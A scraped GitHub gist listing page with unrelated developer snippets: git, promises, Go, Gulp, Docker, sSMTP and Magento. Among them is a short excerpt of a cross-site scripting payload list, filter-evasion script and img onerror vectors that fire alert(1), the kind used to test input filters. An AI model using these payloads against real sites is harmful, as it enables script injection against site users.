Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View colinodell's full-sized avatar

Colin O'Dell colinodell

View GitHub Profile

Make it real

Ideas are cheap. Make a prototype, sketch a CLI session, draw a wireframe. Discuss around concrete examples, not hand-waving abstractions. Don't say you did something, provide a URL that proves it.

Ship it

Nothing is real until it's being used by a real user. This doesn't mean you make a prototype in the morning and blog about it in the evening. It means you find one person you believe your product will help and try to get them to use it.

Do it with style

@piscisaureus
piscisaureus / pr.md
Created August 13, 2012 16:12
Checkout github pull requests locally

Locate the section for your github remote in the .git/config file. It looks like this:

[remote "origin"]
	fetch = +refs/heads/*:refs/remotes/origin/*
	url = git@github.com:joyent/node.git

Now add the line fetch = +refs/pull/*/head:refs/remotes/origin/pr/* to this section. Obviously, change the github url to match your project's URL. It ends up looking like this:

@domenic
domenic / promises.md
Last active March 31, 2024 14:07
You're Missing the Point of Promises

This article has been given a more permanent home on my blog. Also, since it was first written, the development of the Promises/A+ specification has made the original emphasis on Promises/A seem somewhat outdated.

You're Missing the Point of Promises

Promises are a software abstraction that makes working with asynchronous operations much more pleasant. In the most basic definition, your code will move from continuation-passing style:

getTweetsFor("domenic", function (err, results) {
 // the rest of your code goes here.
@kvnxiao
kvnxiao / awesome-go-sorted-by-stars-2019-12-30.md
Last active March 17, 2024 04:05
awesome-go-sorted-by-stars-2019-12-30.md

Awesome Go

Build Status Awesome Slack Widget Netlify Status

patreon avelino financial support to Awesome Go

A curated list of awesome Go frameworks, libraries and software. Inspired by awesome-python.

Contributing

@JohannesHoppe
JohannesHoppe / 666_lines_of_XSS_vectors.html
Created May 20, 2013 13:38
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@laracasts
laracasts / Gulpfile.js
Created August 20, 2014 20:47
PHPSpec auto-testing Gulpfile
var gulp = require('gulp');
var phpspec = require('gulp-phpspec');
var run = require('gulp-run');
var notify = require('gulp-notify');
gulp.task('test', function() {
gulp.src('spec/**/*.php')
.pipe(run('clear'))
.pipe(phpspec('', { notify: true }))
.on('error', notify.onError({
@eisenreich
eisenreich / wait_for_http_200.sh
Last active February 6, 2024 19:03 — forked from rgl/wait_for_http_200.sh
Wait for HTTP endpoints to return 200 OK with bash, curl and timeout
#!/bin/bash
##############################################################################################
# Wait for URLs until return HTTP 200
#
# - Just pass as many urls as required to the script - the script will wait for each, one by one
#
# Example: ./wait_for_urls.sh "${MY_VARIABLE}" "http://192.168.56.101:8080"
##############################################################################################
@kamermans
kamermans / configure_docker0.sh
Last active January 11, 2024 18:21
Change the IP subnet of Docker's docker0 interface
#!/bin/sh -e
#
# NOTE: Since Docker 1.10 (February 4, 2016), it has been possible to configure the
# Docker daemon using a JSON config file. On Linux, this file is normally located at
# /etc/docker/daemon.json. You should use this JSON config method if you are running
# a version of Docker that is at least 1.10!
# Here is an example configuration that sets the docker0 bridge IP to 192.168.254.1/24:
# {
# "bip": "192.168.254.1/24"
# }
@titpetric
titpetric / setup_ssmtp.bash
Created April 13, 2017 21:27
setting up ssmtp config from environment variables (docker start-up script)
#!/bin/bash
#
# You can set up sSMTP by setting the following ENV variables:
#
# SSMTP_TO - This is the address alarms will be delivered to.
# SSMTP_SERVER - This is your SMTP server. Defaults to smtp.gmail.com.
# SSMTP_PORT - This is the SMTP server port. Defaults to 587.
# SSMTP_USER - This is your username for the SMTP server.
# SSMTP_PASS - This is your password for the SMTP server. Use an app password if using Gmail.
# SSMTP_TLS - Use TLS for the connection. Defaults to YES.
@davidalexander
davidalexander / gist:1086455
Last active September 7, 2023 07:42
Magento Snippets

Magento Snippets

Download extension manually using pear/mage

Pear for 1.4, mage for 1.5. File downloaded into /downloader/.cache/community/

./pear download magento-community/Shipping_Agent
./mage download community Shipping_Agent

Clear cache/reindex